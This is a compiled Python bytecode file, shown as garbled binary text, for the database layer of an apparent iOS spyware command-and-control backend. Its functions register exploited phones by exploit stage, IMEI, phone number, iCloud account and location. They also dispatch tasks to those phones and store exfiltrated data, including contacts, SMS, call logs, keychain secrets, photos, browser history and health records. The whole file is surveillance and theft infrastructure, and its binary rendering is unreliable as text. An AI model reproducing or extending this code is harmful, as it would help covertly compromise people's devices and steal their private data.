a
    ?j™J  ã                	   @   sF  d Z ddlmZmZ ddlmZmZmZmZ ddlm	Z	 ddl
mZmZmZmZ ddlZddlZe	eeej dœdd	„Zd|e	eeeej dœdd„Ze	eej dœdd„Zd}e	ejeejdœdd„Ze	ejeej dœdd„Ze	eeeej dœdd„Ze	ejeej dœdd„Ze	eedœdd„Zd~e	eeed œd!d"„Z e	ej!ej"d#œd$d%„Z#e	ej$eej" d&œd'd(„Z%e	eeej" d)œd*d+„Z&de	eeeeej" d,œd-d.„Z'e	eeej" dœd/d0„Z(d€e	eeeeeej" d1œd2d3„Z)e	eed)œd4d5„Z*de	ej+eej,d6œd7d8„Z-d‚e	eeeej, dœd9d:„Z.dƒe	eeeeej, d,œd;d<„Z/d„e	eeeeej, d=œd>d?„Z0e	ej1ej2d@œdAdB„Z3d…e	eeeeej2 d,œdCdD„Z4d†e	eeeej2 dœdEdF„Z5d‡e	eeeeeej6dJœdKdL„Z7dˆe	eeeej6 dœdMdN„Z8e	edœdOdP„Z9d‰e	ee edQœdRdS„Z:e	ej;ej<dTœdUdV„Z=e	ej>ej?dWœdXdY„Z@e	ejAejBdZœd[d\„ZCe	ejDejEd]œd^d_„ZFe	ejGejHd`œdadb„ZIe	ejJejKdcœddde„ZLe	ejMejNdfœdgdh„ZOe	ejPejQdiœdjdk„ZRe	ejSejTdlœdmdn„ZUe	ejVejWdoœdpdq„ZXe	ejYejZdrœdsdt„Z[e	ej\ej]duœdvdw„Z^e	ej_dœdxdy„Z`e	eeeef dœdzd{„ZadS )Šu   æ•°æ®åº“ CRUD æ“ä½œé    )ÚdatetimeÚ	timedelta)ÚListÚOptionalÚDictÚAny)ÚSession)Úand_Úor_ÚdescÚfuncN)ÚdbÚdevice_uuidÚreturnc                 C   s   |   tj¡ tjj|k¡ ¡ S )u   èŽ·å–è®¾å¤‡)ÚqueryÚmodelsÚDeviceÚfilterr   Úfirst©r   r   © r   ú!/root/Coruna-main/backend/crud.pyÚ
get_device   s    r   éd   )r   ÚskipÚlimitr   c                 C   s*   |   tj¡ ttjjƒ¡ |¡ |¡ ¡ S )u   èŽ·å–è®¾å¤‡åˆ—è¡¨)	r   r   r   Úorder_byr   Ú	last_seenÚoffsetr   Úall©r   r   r   r   r   r   Úget_devices   s    r!   )r   r   c                 C   sH   t  ¡ tdd }|  tj¡ tjjdktjj|k¡ 	t
tjjƒ¡ ¡ S )u   èŽ·å–åœ¨çº¿è®¾å¤‡é<   ©ÚsecondsÚonline)r   Úutcnowr   r   r   r   r   Ústatusr   r   r   r   )r   Ú	thresholdr   r   r   Úget_online_devices   s    

þ
ýr)   )r   ÚdeviceÚipr   c           	      C   s4  d}|j ršzx|j  d¡}t|ƒdkr0t|d ƒnd}t|ƒdkrLt|d ƒnd}t|ƒdkrht|d ƒnd}|d |d  | }W n ttfy˜   Y n0 tj|j|j	|j ||j
|j|d|j|j|j|j|j|j|j|j|j|j|j|j|j|j|j|j|j|j|j|jt  !¡ d	}|  "|¡ |  #¡  |  $|¡ |S )
u   åˆ›å»ºè®¾å¤‡NÚ.r   é   é   i'  r   r%   )r   Údevice_modelÚios_versionÚios_version_numericÚchipsetÚ
user_agentÚ
ip_addressr'   Úexploit_stageÚexploit_chainÚruntime_typeÚhas_pacÚpac_integrityÚscreen_resolutionÚbattery_levelÚnetwork_typeÚlatitudeÚ	longitudeÚaltitudeÚaccuracyÚphone_numberÚimeiÚserial_numberÚicloud_accountÚdevice_nameÚlocaleÚtimezoneÚextrar   )%r0   ÚsplitÚlenÚintÚ
ValueErrorÚ
IndexErrorr   r   r   r/   r2   r3   r5   r6   r7   r8   r9   r:   r;   r<   r=   r>   r?   r@   rA   rB   rC   rD   rE   rF   rG   rH   r   r&   ÚaddÚcommitÚrefresh)	r   r*   r+   r1   ÚpartsÚmajorÚminorÚpatchZ	db_devicer   r   r   Úcreate_device    sZ    ã 

rU   )r   Ú	heartbeatr   c                 C   s¤   t | |jƒ}|sdS |j|_t ¡ |_t ¡ |_|jdurB|j|_|jdurn|j|_|jdkrn|j	snt ¡ |_	|j
rŽ|j
s€i |_
|j
 |j
¡ |  ¡  |  |¡ |S )u   æ›´æ–°è®¾å¤‡å¿ƒè·³NÚ	completed)r   r   r'   r   r&   r   Zlast_activityr;   r5   Úfirst_exploit_atrH   ÚupdaterO   rP   )r   rV   r*   r   r   r   Úupdate_device_heartbeatT   s&    





rZ   )r   r   r'   r   c                 C   s8   t | |ƒ}|sdS ||_t ¡ |_|  ¡  |  |¡ |S )u   æ›´æ–°è®¾å¤‡çŠ¶æ€N)r   r'   r   r&   r   rO   rP   )r   r   r'   r*   r   r   r   Úupdate_device_statusn   s    


r[   )r   Úlocationr   c                 C   sT   t | |jƒ}|sdS |j|_|j|_|j|_|j|_t ¡ |_|  	¡  |  
|¡ |S )u   æ›´æ–°è®¾å¤‡ä½ç½®N)r   r   r=   r>   r?   r@   r   r&   Zlocation_updated_atrO   rP   )r   r\   r*   r   r   r   Úupdate_device_location|   s    

r]   c                 C   s(   t | |ƒ}|sdS |  |¡ |  ¡  dS )u   åˆ é™¤è®¾å¤‡FT)r   ÚdeleterO   )r   r   r*   r   r   r   Údelete_device   s    

r_   F)r   r   Útask_completedÚ
exfil_sizec                 C   sd   t | |ƒ}|sdS | jd7  _|r4| jd7  _n| jd7  _|dkrX| j|7  _|  ¡  dS )u   æ›´æ–°è®¾å¤‡ç»Ÿè®¡Nr-   r   )r   Útotal_tasksÚcompleted_tasksÚfailed_tasksÚtotal_exfilrO   )r   r   r`   ra   r*   r   r   r   Úupdate_device_stats˜   s    
rf   )r   Útaskr   c              	   C   sP   t j|j|j|jd|j|j|jd}|  |¡ |  	¡  |  
|¡ t| |jƒ |S )u   åˆ›å»ºä»»åŠ¡Úpending)r   Ú	task_typeÚpayloadr'   ÚpriorityÚtimeout_secondsÚmetadata)r   ÚTaskr   ri   rj   rk   rl   rm   rN   rO   rP   rf   )r   rg   Zdb_taskr   r   r   Úcreate_task¬   s    ù


ro   )r   Úbatchr   c              	   C   sD   g }|j D ]4}tj||j|j|j|j|jd}| t	| |ƒ¡ q
|S )u   æ‰¹é‡åˆ›å»ºä»»åŠ¡)r   ri   rj   rk   rl   rm   )
Zdevice_uuidsÚschemasÚ
TaskCreateri   rj   rk   rl   rm   Úappendro   )r   rp   Útasksr   rg   r   r   r   Úcreate_batch_tasksÂ   s    
úru   )r   Útask_idr   c                 C   s   |   tj¡ tjj|k¡ ¡ S )u   èŽ·å–ä»»åŠ¡)r   r   rn   r   Úidr   )r   rv   r   r   r   Úget_taskÓ   s    rx   )r   r   r   r   r   c                 C   s8   |   tj¡ tjj|k¡ ttjjƒ¡ |¡ 	|¡ 
¡ S )u   èŽ·å–è®¾å¤‡ä»»åŠ¡åˆ—è¡¨)r   r   rn   r   r   r   r   Ú
created_atr   r   r   ©r   r   r   r   r   r   r   Úget_device_tasksØ   s    
ÿ
þþþr{   c                 C   s<   |   tj¡ tjj|ktjjdk¡ ttjjƒtjj	¡ 
¡ S )u   èŽ·å–å¾…å¤„ç†ä»»åŠ¡rh   )r   r   rn   r   r   r'   r   r   rk   ry   r   r   r   r   r   Úget_pending_tasksß   s    

þýr|   )r   rv   r'   ÚresultÚerror_messager   c                 C   s¨   t | |ƒ}|sdS ||_|dkr2|js2t ¡ |_n|dv rDt ¡ |_|durR||_|dur`||_|  ¡  |  	|¡ |dkrŒt
| |jdd n|dkr¤t
| |jdd |S )	u   æ›´æ–°ä»»åŠ¡çŠ¶æ€NÚrunning)rW   ÚfailedÚ	cancelledÚtimeoutrW   T)r`   r€   F)rx   r'   Z
started_atr   r&   Zcompleted_atr}   r~   rO   rP   rf   r   )r   rv   r'   r}   r~   rg   r   r   r   Úupdate_task_statusç   s&    


rƒ   c                 C   s(   t | |ƒ}|sdS |  |¡ |  ¡  dS )u   åˆ é™¤ä»»åŠ¡FT)rx   r^   rO   )r   rv   rg   r   r   r   Údelete_task  s    

r„   )r   ÚexfilÚ	file_pathr   c                 C   sb   t j|j|j|j|j|j||jr.|jdd… nd|j|j	|j
d
}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºæ•°æ®å¤–æ³„è®°å½•Ni   )
r   ÚcategoryÚpathÚdescriptionÚ	file_sizer†   Zcontent_previewÚ	mime_typerm   rv   )r   ÚExfilr   r‡   rˆ   r‰   rŠ   Úcontentr‹   rm   rv   rN   rO   rP   )r   r…   r†   Zdb_exfilr   r   r   Úcreate_exfil  s     ö

rŽ   c                 C   s*   |   tj¡ ttjjƒ¡ |¡ |¡ ¡ S )u   èŽ·å–æ•°æ®å¤–æ³„åˆ—è¡¨)	r   r   rŒ   r   r   ry   r   r   r   r    r   r   r   Ú	get_exfil(  s    r   c                 C   s8   |   tj¡ tjj|k¡ ttjjƒ¡ |¡ 	|¡ 
¡ S )u   èŽ·å–è®¾å¤‡æ•°æ®å¤–æ³„åˆ—è¡¨)r   r   rŒ   r   r   r   r   ry   r   r   r   rz   r   r   r   Úget_device_exfil-  s    
ÿ
þþþr   )r   r‡   r   r   r   c                 C   s8   |   tj¡ tjj|k¡ ttjjƒ¡ |¡ 	|¡ 
¡ S )u   æŒ‰ç±»åˆ«èŽ·å–æ•°æ®å¤–æ³„)r   r   rŒ   r   r‡   r   r   ry   r   r   r   )r   r‡   r   r   r   r   r   Úget_exfil_by_category4  s    
ÿ
þþþr‘   )r   Úlogr   c              	   C   sF   t j|j|j|j|j|j|j|jd}|  	|¡ |  
¡  |  |¡ |S )u   åˆ›å»ºè®¾å¤‡æ—¥å¿—)r   Ústager'   ÚmessageÚ
elapsed_msrm   Ú	log_level)r   Ú	DeviceLogr   r“   r'   r”   r•   rm   r–   rN   rO   rP   )r   r’   Údb_logr   r   r   Úcreate_device_log=  s    ù


r™   c                 C   s8   |   tj¡ tjj|k¡ ttjjƒ¡ |¡ 	|¡ 
¡ S )u   èŽ·å–è®¾å¤‡æ—¥å¿—)r   r   r—   r   r   r   r   ry   r   r   r   rz   r   r   r   Úget_device_logsP  s    
ÿ
þþþrš   c                 C   s*   |   tj¡ ttjjƒ¡ |¡ |¡ ¡ S )u   èŽ·å–æ‰€æœ‰æ—¥å¿—)	r   r   r—   r   r   ry   r   r   r   r    r   r   r   Úget_all_logsW  s    r›   Ú ú/group.htmlÚPOST)r   r+   r3   Úrefererrˆ   Úmethodr   c                 C   s4   t j|||||d}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºè®¿é—®æ—¥å¿—)r+   r3   rŸ   rˆ   r    )r   Ú	AccessLogrN   rO   rP   )r   r+   r3   rŸ   rˆ   r    r˜   r   r   r   Úcreate_access_log^  s    û

r¢   c                 C   s*   |   tj¡ ttjjƒ¡ |¡ |¡ ¡ S )u   èŽ·å–è®¿é—®æ—¥å¿—)	r   r   r¡   r   r   ry   r   r   r   r    r   r   r   Úget_access_logsm  s    r£   c                 C   s   |   tj¡ ¡ S )u   èŽ·å–è®¿é—®æ—¥å¿—æ€»æ•°)r   r   r¡   Úcount)r   r   r   r   Úget_all_access_logs_countr  s    r¥   )r   Úlog_idsr   c                 C   sJ   |r*|   tj¡ tjj |¡¡jdd}n|   tj¡jdd}|  ¡  |S )uE   åˆ é™¤è®¿é—®æ—¥å¿— å¦‚æžœæŒ‡å®šIDåˆ™åˆ é™¤æŒ‡å®šID å¦åˆ™åˆ é™¤æ‰€æœ‰F)Úsynchronize_session)r   r   r¡   r   rw   Úin_r^   rO   )r   r¦   r¤   r   r   r   Údelete_access_logsw  s
    &r©   )r   Úcontactr   c                 C   s4   t jf i | ¡ ¤Ž}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºè”ç³»äººè®°å½•)r   ÚContactRecordÚdictrN   rO   rP   )r   rª   Z
db_contactr   r   r   Úcreate_contactƒ  s
    

r­   )r   Úsmsr   c                 C   s4   t jf i | ¡ ¤Ž}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºçŸ­ä¿¡è®°å½•)r   Ú	SMSRecordr¬   rN   rO   rP   )r   r®   Zdb_smsr   r   r   Ú
create_smsŒ  s
    

r°   )r   Úcallr   c                 C   s4   t jf i | ¡ ¤Ž}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºé€šè¯è®°å½•)r   Ú
CallRecordr¬   rN   rO   rP   )r   r±   Zdb_callr   r   r   Úcreate_call•  s
    

r³   )r   Úkeychainr   c                 C   s4   t jf i | ¡ ¤Ž}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºé’¥åŒ™ä¸²è®°å½•)r   ÚKeychainRecordr¬   rN   rO   rP   )r   r´   Zdb_keychainr   r   r   Úcreate_keychainž  s
    

r¶   )r   Úphotor   c                 C   s4   t jf i | ¡ ¤Ž}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºç…§ç‰‡è®°å½•)r   ÚPhotoRecordr¬   rN   rO   rP   )r   r·   Zdb_photor   r   r   Úcreate_photo§  s
    

r¹   )r   Úappr   c                 C   s4   t jf i | ¡ ¤Ž}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºåº”ç”¨è®°å½•)r   Ú	AppRecordr¬   rN   rO   rP   )r   rº   Zdb_appr   r   r   Ú
create_app°  s
    

r¼   )r   Úprocessr   c                 C   s4   t jf i | ¡ ¤Ž}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºè¿›ç¨‹è®°å½•)r   ÚProcessRecordr¬   rN   rO   rP   )r   r½   Z
db_processr   r   r   Úcreate_process¹  s
    

r¿   )r   Úwifir   c                 C   s4   t jf i | ¡ ¤Ž}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºWiFiè®°å½•)r   Ú
WiFiRecordr¬   rN   rO   rP   )r   rÀ   Zdb_wifir   r   r   Úcreate_wifiÂ  s
    

rÂ   )r   Úhistoryr   c                 C   s4   t jf i | ¡ ¤Ž}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºæµè§ˆå™¨åŽ†å²è®°å½•)r   ÚBrowserHistoryRecordr¬   rN   rO   rP   )r   rÃ   Z
db_historyr   r   r   Úcreate_browser_historyË  s
    

rÅ   )r   Úeventr   c                 C   s4   t jf i | ¡ ¤Ž}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºæ—¥åŽ†äº‹ä»¶)r   ÚCalendarEventr¬   rN   rO   rP   )r   rÆ   Zdb_eventr   r   r   Úcreate_calendar_eventÔ  s
    

rÈ   )r   Únoter   c                 C   s4   t jf i | ¡ ¤Ž}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºç¬”è®°è®°å½•)r   Ú
NoteRecordr¬   rN   rO   rP   )r   rÉ   Zdb_noter   r   r   Úcreate_noteÝ  s
    

rË   )r   Úhealthr   c                 C   s4   t jf i | ¡ ¤Ž}|  |¡ |  ¡  |  |¡ |S )u   åˆ›å»ºå¥åº·æ•°æ®)r   ÚHealthRecordr¬   rN   rO   rP   )r   rÌ   Z	db_healthr   r   r   Úcreate_health_dataæ  s
    

rÎ   c                 C   sÔ  |   t tjj¡¡ ¡ }t ¡ t	dd }|   t tjj¡¡ 
tjjdktjj|k¡ ¡ }|| }|   t tjj¡¡ 
tjjdk¡ ¡ }|   t tjj¡¡ ¡ }|   t tjj¡¡ 
tjjdk¡ ¡ }|   t tjj¡¡ 
tjjdk¡ ¡ }|   t tjj¡¡ 
tjjdk¡ ¡ }	|   t tjj¡¡ 
tjjdk¡ ¡ }
|   t tjj¡¡ ¡ }|   t tjj¡¡ ¡ pld}t| dd	d
}|   tj¡ ttjjƒ¡ d¡ ¡ }t| ddd
}tj||||||||	|
|||||dS )u   èŽ·å–ç®¡ç†å‘˜ç»Ÿè®¡æ•°æ®r"   r#   r%   rW   rh   r   r€   r   é   )r   r   é
   )Útotal_devicesÚonline_devicesÚoffline_devicesÚexploited_devicesrb   Úpending_tasksÚrunning_tasksrc   rd   Útotal_exfil_countÚtotal_exfil_sizeÚrecent_devicesÚrecent_tasksÚrecent_exfil)r   r   r¤   r   r   rw   Úscalarr   r&   r   r   r'   r   r5   rn   rŒ   ÚsumrŠ   r!   r   r   ry   r   r   r   rq   Ú
AdminStats)r   rÑ   Zonline_thresholdrÒ   rÓ   rÔ   rb   rÕ   rÖ   rc   rd   r×   rØ   rÙ   rÚ   rÛ   r   r   r   Úget_admin_statsñ  s`    

þ
ÿ
ÿ
ÿ
ÿ
ÿ
ÿþòrß   c                 C   sn  |   t tjj¡¡ tjj|k¡ ¡ |   t tj	j¡¡ tj	j|k¡ ¡ |   t tj
j¡¡ tj
j|k¡ ¡ |   t tjj¡¡ tjj|k¡ ¡ |   t tjj¡¡ tjj|k¡ ¡ |   t tjj¡¡ tjj|k¡ ¡ |   t tjj¡¡ tjj|k¡ ¡ |   t tjj¡¡ tjj|k¡ ¡ |   t tjj¡¡ tjj|k¡ ¡ |   t tjj¡¡ tjj|k¡ ¡ dœ
S )u   èŽ·å–è®¾å¤‡å„ç±»æ•°æ®æ•°é‡)
Zcontactsr®   ZcallsZ	keychainsZphotosZappsZwifi_networksZbrowser_historyZcalendar_eventsÚnotes)r   r   r¤   r   r«   rw   r   r   rÜ   r¯   r²   rµ   r¸   r»   rÁ   rÄ   rÇ   rÊ   r   r   r   r   Úget_device_data_counts+  s>    
ÿ
ÿ
ÿ
ÿ
ÿ
ÿ
ÿ
ÿ
ÿ
ÿärá   )r   r   )N)Fr   )r   r   )NN)N)r   r   )r   r   )r   r   )r   r   )r   r   )rœ   rœ   r   rž   )r   r   )N)bÚ__doc__r   r   Útypingr   r   r   r   Úsqlalchemy.ormr   Ú
sqlalchemyr	   r
   r   r   r   rq   Ústrr   r   rK   r!   r)   ÚDeviceRegisterrU   ÚDeviceHeartbeatrZ   r[   ÚDeviceLocationUpdater]   Úboolr_   rf   rr   rn   ro   ZTaskBatchCreateru   rx   r{   r|   rƒ   r„   ZExfilUploadrŒ   rŽ   r   r   r‘   ZDeviceLogCreater—   r™   rš   r›   r¡   r¢   r£   r¥   r©   ZContactDatar«   r­   ZSMSDatar¯   r°   ZCallDatar²   r³   ZKeychainDatarµ   r¶   Z	PhotoDatar¸   r¹   ZAppDatar»   r¼   ZProcessDatar¾   r¿   ZWiFiDatarÁ   rÂ   ZBrowserHistoryDatarÄ   rÅ   ZCalendarEventDatarÇ   rÈ   ZNoteDatarÊ   rË   Z
HealthDatarÍ   rÎ   rÞ   rß   rá   r   r   r   r   Ú<module>   s\   	4 												: